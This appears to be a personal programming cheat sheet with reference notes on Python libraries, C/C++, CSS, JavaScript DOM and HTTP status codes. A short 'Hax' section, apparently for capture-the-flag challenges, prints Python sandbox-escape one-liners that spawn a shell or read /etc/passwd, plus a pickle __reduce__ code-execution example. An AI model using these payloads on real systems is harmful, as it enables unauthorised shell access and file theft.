betaveros's cheat sheet

Javascript toggling! Click on headers to open/close sections.

Omissions and simplifications exist and are deliberate. This is a cheatsheet, mainly for my own use, so it probably seems inadequate in some places and overly detailed in others to anybody else.

Quick TOC: General . Python . C/C++ . Web . Haskell . LaTeX . Git . Scala . Rust . Kotlin . Shell . CTF . Go . Perl . ASCII . Keyboard

General

HyperPolyglot is a great resource
language string
concat
range
comment
eol
comment
unequal' meansindex i
elt
1st eltall but firstint → stringuppercase
C/C++ + /* */ // != char 'c' s[i] [0] #include <stdlib.h>
atoi(s)
char: #include <cctype>
toupper(c)
<string>: #include <algorithm>
transform(s.begin(), s.end(),
  sout.begin(), toupper)
Java + /* */ // != char 'c' s[i] [0] java.util.Arrays.
copyOfRange(a, 1, a.length)
Integer.toString(s) s.toUpperCase()
Python + # != 'raw string' s[i] [0] [1:] int(s) s.upper()
Perl . =for
=cut
# !=
ne
'raw string' $s[i] [0] @a[1..$#a] (implicit) uc $s
PHP . /* */ //
#
!=
!==
'raw string' $s[i] [0] array_slice($a,1) (implicit) strtoupper($s)
Haskell ++ {- -} -- /= char 'c'
valid id
s !! i head tail (read s)::Int import Data.Char
map toUpper s
OCaml ^
list: @
(* *) != char 'c' List.nth s i hd tl int_of_string String.uppercase s
CommonLisp(concatenate
  'string a b)
; /= (elt s i)
(nth i s)
first
car
rest
cdr
parse-integer (format nil "~:@(~a~)" s) (?)
Javascript+ /* */ // !=
!==
'raw string' s[i] [0] .slice(1) parseInt(s,10) s.toUpperCase()
Clojure (str a b) ; various (nth i s) first rest
next
Integer/parseInt (.toUpperCase s)

Latency numbers (crude orders of magnitude)

0.1nsIdeal-conditions fast instruction (e.g. independent MOVs in a superscalar processor)
1nsL1 cache reference
10nsL2 cache reference; branch misprediction; mutex operation
100nsMain memory reference
1µs"Compress 1KiB with Zippy"
10µsSend 1KiB at 1 Gbps
100µsSSD read; read 1MB from memory
1msWithin-data-center round trip; read 1MB from SSD
10msDisk seek; read 1MB from disk
100msSend packet around the world

Python

Script

if __name__ == "__main__": ...

Future

Unicode

PEP 0263. First or second lines:

# coding=utf-8
# -*- coding: utf-8 -*-
# vim: set fileencoding=utf-8 :
import codecs
codecs.encode(obj, encoding, errors)
codecs.decode(obj, encoding, errors)

can pass first 1 or first 2 arguments

encoding = "ascii" if omitted; alternatives: utf_8, latin_1, big5 etc.

errors = "strict" if omitted; alternatives: ignore, replace etc.

String (→ std. methods, module)

Regex (→ pydoc)

Special chars: .^$*+?{}\[]|()

MatchObject.group(n) gets the nth group. n = 0 or omitted means the whole match. Groups:

Sequences (→ std. methods) and Dictionaries (→ pydoc)

(python) sequences
sorted(iterable, key = lambda x: x[1], reverse=True)...
max(iterable, key = lambda x: x[1])
min(iterable, key = lambda x: x[1])
...
enumerate('ABCD', start=1)(1, 'A'), (2, 'B')...
(python) mutable lists
s.append(x)
s.extend(xs) or s += xs
s.insert(i, x)
s.pop()
s.pop(0) (from left)
popped element
pop returns it in Python in general (unlike some other languages)
(python) dictionaries
d.keys(), d.iterkeys(), iter(d)[k1, k2...]
d.values(), d.itervalues()[v1, v2...]
d.items(), d.iteritems()[(k1, v1)...]
d.clear()

In both points above, when there are conflicting mappings for the same key, d2 takes precedence.

Sets (→ std. doc)

collections (→ pydoc)

os Navigate Filesystem

subprocess

proc = subprocess.Popen("cat", shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE)
(stdout_data, stderr_data) = proc.communicate([input=some_bytes])

One-shot, newer API:

result = subprocess.run("cat", [input=some_bytes,] stdout=subprocess.PIPE, stderr=subprocess.PIPE)
result.stdout # bytes or None
result.stderr # bytes or None

The first argument in both is args: str|List[str].

Add the encoding='utf-8' argument to Popen or run, and use unicode instead of bytes for both input and output.

In 3.7+, on run() only, capture_output=True is short for stdout=subprocess.PIPE, stderr=subprocess.PIPE

Itertools

(python) itertools.
islice(_, 9)[:9] (hs: take 9)
islice(_, 2, 9)[2:9] (hs: take 7 . drop 2)
islice(_, 2, None)[2:] (hs: drop 2)
islice(_, 2, 9, 3)[2:9:3]
count(10)10, 11, 12, 13...
count(10, 2)10, 12, 14, 16...
cycle([31, 41, 59])31, 41, 59, 31, 41, 59...
repeat(42)42, 42, 42...
repeat(42, 5)42, 42, 42, 42, 42
product('ABCD', 'PQRS')AP, AQ, AR, AS, BP, BQ[...]
product('ABCD', repeat=2)AA, AB, AC, AD, BA, BB[...]
permutations('ABCD')ABCD, ABDC[...]
permutations('ABCD', 2)AB, AC, AD, BA, BC[...]
combinations('ABCD', 2)AB, AC, AD, BC, BD, CD
combinations_with_replacement('ABCD', 2)AA, AB, AC, AD, BB[...]

Random

randrange(...)[start,] stop[, step], just like range (half-open)
randint(lo, hi)integers; inclusive
choice(seq)1 sample
choices(seq, ...)k samples (w/ replacement), can weight etc. (see docs)
sample(seq, k)k samples w/o replacement
shuffle(seq)modifies in-place
random()[0, 1) float
uniform(lo, hi)[lo, hi) float
gauss(mu, sigma)
normalvariate(mu, sigma)
normal distribution (latter slower but thread-safe)

Other Standard Library

import getpass
password = getpass.getpass()
import time
time.sleep(0.5) # 0.5 seconds

Hax

[t for t in().__class__.__base__.__subclasses__()if'Sized'==t.__name__][0].__len__.__globals__['__builtins__']['__import__']('os').system('sh')

(most modern variation, Eryksun via Ned Batchelder)

[t for t in (1).__class__.__bases__[-1].__subclasses__() if t.__name__ == 'file'][0]('/etc/passwd').read()

(from On principle (eevee))

Want a shell instead?

[x for x in().__class__.__bases__[0].__subclasses__() if x.__name__ == "catch_warnings"
][0].__init__.func_globals["linecache"].__dict__["os"].execlp("sh","sh")

(from Jonathan Zong's picoCTF 2013 writeup)

from stackoverflow, expression to throw an error:

type(lambda:0)(type((lambda:0).func_code)(
  1,1,1,67,'|\0\0\202\1\0',(),(),('x',),'','',1,''),{}
)(Exception())
type(lambda: 0)(type((lambda: 0).__code__)(
    1,0,1,1,67,b'|\0\202\1\0',(),(),('x',),'','',1,b''),{}
)(Exception())
import pickle
class RCE:
    def __reduce__(self): return os.system, ("echo 'hi'",)
print(pickle.loads(pickle.dumps(RCE())))
pickletools (go to source). The most interesting opcodes are:

pygmentize

has complicated command line flags:

pygmentize -f html -l python -O full,style=tango -o out.html src.py

note it can guess -f and infer -l from source file extension

numpy

import numpy as np is standard. np. is implied in most names below...

Array construction

Array properties

Matrix operations

Note that * (along with most other operations) acts element-wise! Broadcasting occurs by "right-aligning" axes, e.g. [3 × 1 array] + [3 array] = [3 × 3 array].

Indexing, Slicing

Iterating

Folds

Array manipulation

pandas

import pandas as pd
pd.read_csv(magic)
pd.read_table(magic) # tsv by default

1-D data is Series. 2-D data is DataFrame (df below). They are quite similar to ndarray. The most important philosophical difference is that the data in Series and DataFrame are tightly associated with their labels or indices, and operations generally preserve and operate between corresponding labels and indices (for example, slicing [1:4] will give a result that still has indices 1, 2, 3) (whereas in ndarrays, operations operate between corresponding fickle positions.)

Basic Info

df.info() # sizes etc
df.describe() # descriptive statistics: count, mean etc.
df['colname'].dtype # data type
s.values, df.values # ndarray
s.shape, df.shape # consistent with ndarray
series.index; df.index, df.columns

Slicing

df.loc['foo'] # index by label only
df.iloc[3] # index by numeric position only, 0-indexed

df.head(10)
df.tail(10)

df.drop([1, 2, 3])
df.drop(['colname'], axis=1)

New Columns

df['newcolname'] = df['colname'] + 1
# nondestructive:
df.assign({'newcolname': df['colname'] + 1})
df.assign(newcolname = df['colname'] + 1)

Index Manipulation

series.reindex(list_of_indices)
# always keeps association between each index and its data
# drops missing indexes; fills new indexes with NaN

series.sort_index()

series/df.rename(index: dict|(OldIndex → NewIndex)) # changes indexes
df.rename(columns: dict|(OldIndex → NewIndex)) # changes column labels
# or, where mapper : dict | (OldIndex → NewIndex)
df.rename(mapper, axis='index')
df.rename(mapper, axis='columns')

df.set_index('colname') # makes the data indexed by existing column 'colname'
df.set_index(['colname', 'colname2']) # ditto, but MultiIndex
df.reset_index() # demotes index to a normal column, index by 0, 1, etc.

If you just want to blow away the index-value association, I think df.values is the best way.

Working with Conditions

df1 == df2, df1 < df2 # etc. broadcast fine
(df + df).equals(df * 2) # ==, except NaN equals NaN
(df['colname'] < 10).count()
df[df['colname'] < 10]
df[df['colname'].isin([1, 3, 5, 7, 9])]

NaN

np.nan
df.dropna(how='any')
df.fillna(value=5)
df.isna(), df.notna() # because nan != nan

Reductions

series.empty, df.empty

series.mean(), series.sum(), series.std(), ...
series.nunique() # number of distinct values
series.value_counts() # value → frequency of value
pd.cut(series, num_bins), pd.qcut(series)
series.idxmin(), series.idxmax() # index of min and max; like argmax, the name numpy uses
series.agg(np.sum)
(series > 0).all(), .any(), .bool()
# above can also be done to DataFrames
# gives results are per column, for columns that make sense

Maps/Lifting

df.pipe(f) # f(df), but may be more readable/chainable style

Sort

df.sort_values(by='colname')
df.sort_values(by='colname', ascending=False)
df['colname'].sort_values()

More Stats

df.cov()
series1.corr(series2, [method='pearson'|'kendall'|'spearman'])
series.rank() # minimum is 1, maximum is n; ties become average of tied ranks by default

Group (split → apply → combine)

Aggregation: Lifts Group[S] → T reducer. New DataFrame, indexed by value in grouped-by column; value is result
df.groupby('colname').mean() # mean per group
etc: .size() .sum() .std()
df.groupby('colname').describe()
df.groupby('colname').colname2.agg(['mean', 'min', 'max'])
df.groupby('colname').get_group('colvalue')
df.groupby(('colname1', 'colname2'))
Transformation: Lifts Group[S] → Group[T] mapper. New DataFrame, same index, each group's values mapped separately
df.groupby('colname').transform(lambda x: x - x.mean())
Filtration: Keep only items in groups satisfying the condition.
df.filter(lambda group: group['colname'].sum() > 300)

pytorch

This is happening, isn't it.
torch.cat(Sequence[tensor], dim=0) → Sequence[tensor] # along that dimension
torch.stack(Sequence[tensor], dim=0) → tensor # adds a dimension
torch.view(*dims) # reshape sharing data, fails if noncontiguous
torch.reshape(*dims) # reshape, copies if needed
torch.unsqueeze(dim) # adds a dimension

torch.randn(*dims)

tensor.requires_grad_() # trailing _ means mutate
tensor.zero_()

# ops
+ - / % @ & | ^ ...
tensor.maximum(t1, t2), tensor.minimum(t1, t2)

# folds
tensor.max(), tensor.argmax(), tensor.mean(), tensor.any(), tensor.all()...
tensor.item() # extract single scalar


# manual backprop:
tensor.data -= tensor.grad; tensor.grad.zero_()

Django

Program.objects.get(name='Splash 2016')

Models (1.10 docs)

prog = Program(...)
prog.save()
prog.name = 'lol'
prog.save()
prog.delete()

(Or one-step creation:)

Program.objects.create(name = 'gg')

These all deal with QuerySets.

Program.objects # Manager
Program.objects.all() # QuerySet with all
Program.objects.filter(name__contains='2016')
# other things: field__gt=3, field__other_field etc
Program.objects.get(name='Splash 2016')
Program.objects.order_by('name')

StudentRegistration.valid_objects().filter(
             section__parent_class__parent_program=prog,
             relationship__name='Enrolled'
         )
enrolled.values_list('user__last_name', 'user').distinct()

# race-condition-free modifying stuff in database:
reporter = Reporters.objects.get(name='Tintin')
reporter.stories_filed = F('stories_filed') + 1 # no math happens here!
reporter.save()
reporter.refresh_from_db() # if you need the actual data

Entry.objects.filter(number_of_comments__gt=F('number_of_pingbacks') * 2)

Company.objects.order_by(F('last_contacted').desc(nulls_last=True))

company = Company.objects.annotate(chairs_needed=F('num_employees') - F('num_chairs'))


from django.db.models import OuterRef, Subquery
newest = Comment.objects.filter(post=OuterRef('pk')).order_by('-created_at')
Post.objects.annotate(newest_commenter_email=Subquery(newest.values('email')[:1]))

Post.objects.annotate(
    recent_comment=Exists(
        Comment.objects.filter(post=OuterRef('pk'), created_at__gte=one_day_ago)
    )
)
# ~Exists is OK

# this line is Django 3.0+:
Post.objects.filter(Exists(...))

total_comments = comments.annotate(total=Sum('length')).values('total')
Post.objects.filter(length__gt=Subquery(total_comments))


from django.db.models import Avg, Max, Count, Q
Book.objects.all().aggregate(foo=Avg('price')) # terminal action, you get { 'foo': 12.34 }
# (or automatically generated keys if args)
Publisher.objects.annotate(num_books=Count('book'))
Publisher.objects.annotate(below_5=Count('book', filter=Q(book__rating__lte=5)))

# joins instead of subqueries, so multiple aggregations are bad:
Book.objects.annotate(Count('authors', distinct=True), Count('store', distinct=True))

Requests

import requests
r = requests.get('http://www.example.com/', params={'foo': 'bar'}) # values can also be lists
r = requests.post('http://www.example.com/', data={'foo': 'bar'}) # auto form-encodes; str/bytes is OK too
r = requests.request('VERB', url, ...) # 'GET' or 'POST' or others, even custom

Other parameters include:

r.url # see which URL was requested, after redirects; includes the encoded params you passed
  r.history # Response objects for any redirects that occurred
r.status_code
  r.raise_for_status() # raise exception if 4xx or 5xx
r.text # automagical unicode
  r.content # bytes
  r.json() # parse as JSON
r.headers # of response; magical dict with case-insensitive keys
r.cookies # of response

Make a session to store cookies:

sess = request.Session()
sess.get('http://www.example.com/') # as before

struct

struct.pack(fmt, v1, v2, ...)
struct.unpack(fmt, bytes) # always tuple, possibly length-1
struct.calcsize(fmt) # number of bytes

First character of fmt optionally indicates endianness/size/alignment. You probably just want one of:

< little-endian (x86)
> big-endian ("natural writing")

Remaining characters format things one at a time. Uppercase variants indicate the things in brackets, usually unsigned. Most useful:

Precede with a count a la vi to repeat: '4h' means 'hhhh'. Exception: for 's' the count means the length of the string. (Pascal-style strings are packed with the first byte indicating the length of the string.)

formatC typePython type# bytes
x
ccharbytes (len = 1)1
b/B[unsigned] charint1
?_Boolbool1
h/H[unsigned] shortint2
i/I[unsigned] intint4
l/L[unsigned] longint4
q/Q[unsigned] long longint8
n/N[s]size_tint
efloat2
ffloatfloat4
ddoublefloat8
s/pchar[] [Pascal style]bytes
Pvoid *int

encoding bytes and ints

b'foo'.hex([sep[, bytes_per_sep]]) # 3.5+
bytes.fromhex('666f6f') # 3.0+

# 3.2+
(some_int).to_bytes(n, 'big'|'little'[, signed=False])
	n = (some_int.bit_length() + 7) // 8
# static method:
int.from_bytes(some_bytes, 'big'|'little'[, signed=False])

# base64 module: bytes to bytes (for greppability: b64encode, b64decode)
base64.b64{encode,decode}(s, altchars='+/') # url '-_'
base64.{standard_b64,urlsafe_b64,b32,b16,a85,b85}{encode,decode}

As before: little-endian is how you'll see it in e.g. x86, big-endian is "natural writing".

hashing, crypto

import hashlib
m = hashlib.sha256(b'init data') # data optional
m.update(b'more data')
m.digest(), m.digest_size; m.hexdigest() # all bytes

# fancy new blake hashes; digest_size and key up to 64|32, salt up to 16|8
# key is replacement for hmac
m = hashlib.blake2b(b'init data', *, digest_size=64, key, salt, ...)
m = hashlib.blake2s(b'init data', *, digest_size=32, key, salt, ...)
import hmac
h = hmac.new(key, msg, hashlib.sha256)
h.update(msg), h.digest(), h.hexdigest()
hmac.digest(key, msg, hashlib.sha256) # bytes
hmac.compare_digest(a, b) # constant-time equality

pip install cryptography

from cryptography.fernet import Fernet
key = Fernet.generate_key() # urlsafe_b64encode(os.urandom(32))
f = Fernet(key)
ciphertext = f.encrypt(plaintext) # "Fernet token"; time of generation in plaintext
f.decrypt(ciphertext)

from cryptography.hazmat.primitives.ciphers.aead import ChaCha20Poly1305, AESGCM
# 12-byte nonce only. no extended nonce (transitive through OpenSSL)
key = ChaCha20Poly1305.generate_key() # os.urandom(32)
c = ChaCha20Poly1305(key)
nonce = os.urandom(12)
# --- or ---
key = AESGCM.generate_key(bit_length=128|192|256) # os.urandom(bit_length // 8)
c = AESGCM(key)
nonce = os.urandom(12)

ct = c.encrypt(nonce, plaintext, aad)
c.decrypt(nonce, ciphertext, aad)

pip install pycryptodome

Prefers Python implementations.
from Crypto.Random import get_random_bytes # shrug

from Crypto.Cipher import ChaCha20_Poly1305
key = get_random_bytes(32)
nonce = get_random_bytes(8|12|24) # len controls variant, default 12; 24 is XChaCha
cipher = ChaCha20_Poly1305.new(key=key, nonce=nonce)
# --- OR ---
from Crypto.Cipher import AES
key = get_random_bytes(16)
nonce = get_random_bytes(16) # lib default 16 but RFC/interop suggests 12
cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)

# if you pass in a nonce, save your own copy; cipher.nonce is a lie (!?)

cipher.update(assoc_data) # optional

ciphertext, tag = cipher.encrypt_and_digest(plaintext) # len(tag) = 16
# --- OR ---
plaintext = cipher.decrypt_and_verify(ciphertext, tag)

# or in steps:
ciphertext = cipher.encrypt(plaintext)  |  plaintext = cipher.decrypt(ciphertext)
tag = cipher.digest()                   |  cipher.verify(tag)
hextag = cipher.hexdigest()             |  cipher.hexverify(hextag)

Pwntools

from pwn import *

enhex('=') = '3d' / unhex('3d') = ('=')
concat: List[List[T]] → List[T]
concat_all: recursive lists → flat list
findall(haystack, needle) → generator of all indices of needle in haystack

group(n, seq, underfull_action=['ignore'|'drop'|'fill'])

ordlist: List[int] → str
unordlist: str → List[int]

p8, p16, p32, p64 (  pack: int → bytes)
u8, u16, u32, u64 (unpack: bytes → int)

    You can pass endian='little'|'big', sign=False|True

more(text), yesno(text)

getter/setter

class Foo:
    @property
    def bar(self): return self._bar
    @bar.setter
    def bar(self, value): self._bar = value
    @bar.deleter
    def bar(self): del self._bar

difflib

import difflib
difflib.SequenceMatcher(None, seqa, seqa).get_opcodes():
List of 5-tuple of operations (tag, i1, i2, j1, j2) where tag in ['replace', 'delete', 'insert', 'equal']. seqa[i1:i2] partitions seqa, seqb[j1:j2] partitions seqb. 'insert' means i1 == i2, 'delete' means j1 == j2.

Note: This does not actually produce a minimal edit distance.

sum(
    max(i2 - i1, j2 - j1)
    for tag, i1, i2, j1, j2
    in difflib.SequenceMatcher(None, a, b).get_opcodes()
    if tag != 'equal'
)

C/C++

Explicitly for algorithmic coding; parts apply to Java

int: -2,147,483,648 – 2,147,483,647 | long2: ±9.22 × 1018

typedef takes type first, then alias: typedef long long lli;

const

const modifies what's immediately to its left, or if it's leftmost, to its right. Read right-to-left.

struct: initializer, operator

struct Query {
	Query(int l, int r): left(l), right(r) {}
	int left;
	int right;
	bool operator<(const Query& other) const {
		if (right != other.right) return right < other.right;
		return left < other.left;
	}
};

If you don't want to write a constructor, construction as (Query) { .left = 123, .right = 456 } works too. Don't both write a constructor and construct structs this way!

qsort

#include <cstdlib>
int cmp(const void * a, const void * b) {
	int av = *(int*) a;
	int bv = *(int*) b;
	return (av == bv ? 0 : (av < bv ? -1 : 1));
}
std::qsort(arr, n, sizeof(int), cmp);

lambda (anonymous function) (closure)

int x = 0;
auto increaseX = [&](int y) -> int {
	x += y;
};

You can store the lambda in a std::function (from <functional>) to make the type explicit, especially if you want recursion:

std::function<char(char, int)> f = [&](char c, int reps) -> char {
	if (reps > 0) {
		putchar(c);
		return f(c + 1, reps - 1);
	}
	return c;
};

permutation loop

next_permutation mutates a sequence to the lexicographically next and returns true, except it rolls over from the last to the first and returns false. If a starts sorted, this loops over all permutations and exits the loop sorted again.

do {
	// stuff
} while (next_permutation(a, a + n));

prev_permutation is dual.

C++ Sequence containersC++ Associative containersC++ bitsetJava Collections
#include
import
<vector><deque><list><set><map><bitset>java.util.*
name vectordequelistsetmultisetmapmultimapbitset CollectionSetListQueue
methodsbegin(), end(), rbegin(), rend() (it)iterator()
listIterator()
size() (-)
empty() (-)isEmpty() (-)
resize (+)
front, back (=)element(), peek()
[], at (=)[] (=)[] (=)get(i)
set(i, E)
assign(oit1, oit2)
assign(n, val)
insert(it, elt[, nCopies])
insert(it, oit1, oit2)
add(i, E)
addAll(i, collection)
erase(it)
erase(it1, it2)
remove(o)
swap(same-type container)
push_back, pop_back (+)add(E)
addAll(collection)
offer(E)
push_front, pop_front (+)
key_comp, value_comp (-)
find, lower_bound, upper_bound, equal_range (-) (it)
find(elt) → it or end()
indexOf(o)
lastIndexOf(o)
count(E)contains(o)
containsAll(collection)

I/O

char buf[1008];
codeuntilreads it?writes it?
scanf("%1004s", buf);whitespaceno
fgets(buf, 1004, stdin);\nyesyes
cin.get(buf, 1004);\nno
cin.getline(buf, 1004);\nyesno
%d OR %iint
%cchar (input: may be \n)

#include <iostream> and #include <iomanip>

???

std::shared_ptr<int> foo = std::make_shared<int>(10);
std::weak_ptr<int> bar(foo);

*foo // or foo->field_name
*bar
foo.use_count()
bar.expired()
bar.use_count()


class Foo {
friend std::ostream& operator<<(std::ostream& os, Foo foo);
private:
	int x;

public:
	Foo(int x);

};

std::ostream& operator<<(std::ostream& os, Foo foo) {
	// do stuff
	return os;
}

Web

HTML

htmlhead.dev seems like a good reference.
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">

<link rel="stylesheet" href="styles.css">

<input type="radio" id="bar" name="foo" value="bar" checked><label for="foo">bar</label>
<input type="radio" id="quux" name="foo" value="quux" checked><label for="foo">quux</label>
// Fire "change" events. Surprisingly unnatural to get the value. Classic IE9+:
document.querySelector('input[name="foo"]:checked').value;
// More modern, requires a <form>:
document.getElementById("form-id").elements["foo"].value;

<input type="number" min="0" max="64" step="2"> // "spinner"
<input type="range" min="0" max="64" step="2"> // slider
// Step is optional; can be "any" in either.

<div data-foo="bar">
// div.dataset.foo === "bar"

<button type="button"> (or it'll be a submit button in a form, even if you attach a listener)

button.disabled = true;

CSS

Specificity = (ID selectors) ≫ (class selectors, attribute selectors, pseudo-classes) ≫ (type selectors, pseudo-elements)

E Fdescendant
E > Fchild
E:first-childfirst child of its parent
E + FF preceded by E
E[foo]has foo attribute
E[foo="bar"]foo attribute equal to bar
E[foo~="warning"]foo attribute, as space-separated list, contains bar
E[foo][bar]has foo and bar attributes (satisfies both attribute criteria)
E.xclass
E#idid
table {
  border-collapse:
}
collapse;
separate;
display:block; inline; inline-block; none; [inline-]flex; [inline-]grid;
table; table-row; table-cell; ...
flow-root; (pure block formatting context/BFC, see below. 2022: 95% browser support)
visibility:visible; hidden; (note: visible children of hidden parents are visible!)
position:
(accompanied by top: and left:)
  • static (default)
  • relative (shifts it relative to static)
  • absolute (pulls it out of static flow; fixes it relative to <html> tag or nearest positioned ancestor)
  • fixed (pulls it out of static flow; fixes it relative to browser viewpoint)
  • sticky (static until exceeds some top:/left:/... offset from viewport of closer element with "scroll" via overflow:, then sticks)
box-sizing
  • content-box → (content = height, width) + padding + border + margin
  • border-box → (content + padding + border = height, width) + margin
Note: Margins collapse between siblings, parent and first/last child, and two margins of empty block.
background:linear-gradient(to right, black, white);
  • to top; [top, bottom, left, right]
  • to top right;
  • 42deg; (polar in vendor, navigational in official!)
url("bg.png") black repeat-y fixed;
  • fixed (to viewport), local (w/ contents), scroll (w/ element), inherit
  • repeat-x, repeat-y, repeat, no-repeat, space, round (last two are obscure)
overflow:
  • overflow:
    • visible; (default)
    • hidden; /* can only cause scrolling programmatically */
    • clip; /* no scrolling ever */
    • scroll; /* scrollbars always */
    • auto; /* scrollbars when needed */
  • white-space:
    • normal;
    • nowrap; /* normal, but don't wrap lines */
    • pre;
    • pre-wrap; /* pre, but wrap lines */
    • pre-line; /* normal but linebreaks break lines */
  • word-break:
    • normal;
    • break-all; /* break anywhere, not CJK text */
    • keep-all; /* do not break CJK text */
    • break-word; /* first break between words, then anywhere */ /* not standardized */
  • overflow-wrap:
    • normal;
    • break-word;

Contexts:

Block formatting contexts (BFCs) affect positioning stuff: chiefly, they contain floats; margins only collapse inside BFCs; position: static|relative|sticky use them. They are introduced by:

Containing blocks for

Centering:

z-index requires set position and competes with other elements in the stacking context.

Flexbox

CSS-tricks' Complete Guide to Flexbox

Flex container:

justify-content align-content align-items
align-self
flex-start (default)flex-start
center
flex-end
make children flex-grow instead stretch stretch (default)
space-between (0:1:1:1:0)
1
2
3
4
5
meaningless
(there's only one "thing")
space-around (1:2:2:2:1)
1
2
3
4
5
space-evenly (1:1:1:1:1)
1
2
3
4
5
baseline

(Technically align-* default to "normal", which acts as stretch on align-items and as no value (which I don't understand) on align-content)

Flex item:

Media query

@media (min-width: 400px) { ... }

are we :has yet? (2022: no)

HTTP Responses

ResponseNameDescription
100ContinueRequest headers are good, send the body please (in response to Expect: 100-continue)
101Switch Protocolse.g. HTTP to FTP
200OKsuccessful
201Creatednew resource, see here
203Non-Authoritative Informationthe following data is from e.g. a third party
204No Contentsuccessful, but nothing to return
205Reset Contentsuccessful, please reset your view (e.g. form)
206Partial Contentsuccessful, only returning requested parts (e.g. in response to partial downloading program)
300Multiple Choicepick a choice
301Moved Permanentlypermanent (exact meaning legacy / unclear)
302Foundtemporary (exact meaning legacy / unclear)
303See Othertemporary, change all methods to GET
307Temporary Redirectpreserve method and body
308Permanent Redirectpreserve method and body
400Bad Request
401UnauthorizedMDN: "semantically... 'unauthenticated'"
403Forbidden
404Not Foundyou know
405Method Not Allowed
429Too Many Requests
500Internal Server Error
501Not Implemented
502Bad Gateway
503Service Unavailabletemporary condition (overload, often)

Ampersand Escapes (+ LaTeX)

[udlr]arr;\(up|down|left|right)arrow (math)
[udlr]Arr;\(Up|Down|Left|Right)arrow (math)
para;\P
×times;\times (math)
÷div;\div (math)
hellip;\ldots
infin;\infty (math)
sdot;\cdot (?) (math)
⊂⊃⊄⊅⊆⊇sub;sup;nsub;nsup;sube;supe...
àèìòù[aeiou]grave;
áéíóú[aeiou]acute;
‘’“”[lr][sd]quo;
morehi

JavaScript Array

mdn @ Array

Assumes a: T[]

Array(n) magic

(Beware browser compatibility concerns.)

Array(20).fill(1) creates a list of 20 ones. Array(26).keys() is an iterator over its keys, and [...Array(26).keys()] is black magic for the half-open range from 0 to 26.

NOTE: Array(20) has "empty" elements, which are different from the elements being undefined. For the sake of functions like .map, "empty" elements are completely skipped, so that Array(20).map(_ => 1) will give another list of 20 empty elements. But spreading, native iterating, and Array.from() still work fine, for some reason.

JavaScript String

Assumes s: string

JavaScript Function

f.call(thisArg, arg1, arg2, ...);
f.apply(thisArg, arrayOfArgs);

f.bind(thisArg, arg1, arg2, ...); // bind 'this' + optionally as many args as you want

JavaScript Regex

regex: RegExp, get /[A-Z]/ or new RegExp('[A-Z]')

JavaScript Map, JavaScript Set

m = new Map();
m = new Map([[1, 'one'], [2, 'two']]);

m.set(3, 'three'); m.delete(3); m.has(3);
m.size; // property, not function!
m.clear();
m.keys(); m.values(); m.entries(); // all iterators, can spread
m.forEach((value, key, map) => {});
[...m] // like m.entries()
for (kvpair of s) {...}
s = new Set();
s = new Set([1, 2, 3, 4, 5]);

s.add(3); s.delete(3); s.has(3);
s.size // property, not function!
s.clear();
s.values(); // iterator; same as s.keys()
s.forEach((value, value, set) => {});
[...s] // spread to convert to array
for (v of s) {...}

JavaScript DOM

mdn @ document
document.
head
body
title
createAttribute(String name)Attr object
createElement(String name)createElementNS('http://www.w3.org/2000/svg', 'circle')
createTextNode(String text)
getElementsByClassName(String className)
getElementsByTagName(String tagName)
getElementById(String id)
querySelector(String selector)first element matching CSS selector, e.g. .myclass, #foo td
querySelectorAll(String selector)all elements matching CSS selector. static NodeList, can forEach but not others. Array.from it?
addEventListener('DOMContentLoaded', fn)
mdn @ element
eventTarget.
addEventListener(type: string, listener[, options]) type can be e.g. "click"/"dblclick", "keydown"/"keypress"/"keyup", "change", "focus"/"blur", "submit"
EventTarget is a superclass of Node
options = {capture: true, ...}: parent capturing listeners are called before child capturing listeners (and before all normal "bubbling" listeners)
node.
parentNodeor null
childNodesNodeList (can use .length, [0]
firstChildor null
lastChildor null
nextSiblingor null
previousSiblingor null
appendChild(node: Node)
insertBefore(node: Node, refchild: Node)insert node as child before refchild, which must be a child
removeChild(child: Node)returns child, which may be reused
var myNode = document.getElementById("foo");
while (myNode.firstChild) myNode.removeChild(myNode.firstChild);
textContentassignable
element.
parentElementor null
children(Elements) HTMLCollection (can use .length, [0], ["key"]. cannot forEach etc.; Array.from it?
classListDOMTokenList (can use .length, .contains("token"), .add("token"), .toggle("token")...
classNameassignable
tagName
id
innerHTMLassignable
outerHTML"experimental"
firstElementChild(Element) or null
lastElementChild(Element) or null
nextElementSibling(Element) or null
previousElementSibling(Element) or null
getAttribute(name: string)string; may be null or "" on no attribute
SVGs: .getAttributeNS(null, name)
hasAttribute(name: string)SVGs: .hasAttributeNS(null, name)
setAttribute(name: string, value)SVGs: .setAttributeNS(null, name, value)
getElementsByClassName(className: string)
getElementsByTagName(tagName: string)
querySelector(selector: string)first element matching CSS selector, e.g. .myclass, #foo td
querySelectorAll(selector: string)all elements matching CSS selector
closest(selector: string)nearest ancestor (inc self) matching CSS selector
clientHeight, clientWidthpadding + content, excluding scrollbars; rounded to integer!
special case on <html>: gets viewport, excluding scrollbars
scrollHeight, scrollWidthpadding + content including content not visible due to overflow (i.e. if you set to this dimension then no overflow or scroll is needed); rounded to integer!
getBoundingClientRect()
.height, .width, (.top, .left, ...)
border + padding + scrollbars if any + content; floating-point
Coordinates are from viewport's scrolling position; add window.scrollX/scrollY for absolute
htmlElement.
offsetHeight, offsetWidthborder + padding + scrollbars if any + content; rounded to integer!
hiddenpretty fake
style
blur() click() focus()
htmlInputElement. (and friends)
value
disabled
checked
indeterminate checkboxes: neither nor : (can't be set through HTML)
select()all text, in a text field
setSelectionRange(start, end)

window

.innerHeight, .innerWidth: viewport, including scrollbars (to exclude scrollbars, see above: use (root html element).client{Height,Width})

.outerHeight, .outerWidth: whole damn browser (unclear why you'd want this)

Event

event.target (innermost element), event.currentTarget (element with the handler; ≈ this), etc; event.preventDefault(), event.stopPropagation()

Philip Walton: don't use stopPropagation (in case an outer listener wants to close an unrelated modal/menu/...). You can "mark an event as handled" with preventDefault() and if (event.defaultPrevented) return; (though good luck convincing other devs to use this convention)

MouseEvent

click, dblclick, mouseup, mousedown, mousemove; mouseover/mouseout (a single event that bubbles); mouseenter/mouseleave (doesn't bubble, one event per element; more like :hover)

clientX, clientYclient (viewport) coordinates (same as getBoundingClientRect())
pageX, pageYpage (edge of document) coordinates
screenX, screenYscreen coordinates
offsetX, offsetYcoordinates from padding edge (experimental and not in e.g. React's synthetic version)

KeyEvent

keydown, keyup (keypress is deprecated, just use keydown or beforeinput) (I think the "input" event is what you want now for updating something in response to every change in a text box)

key"q"
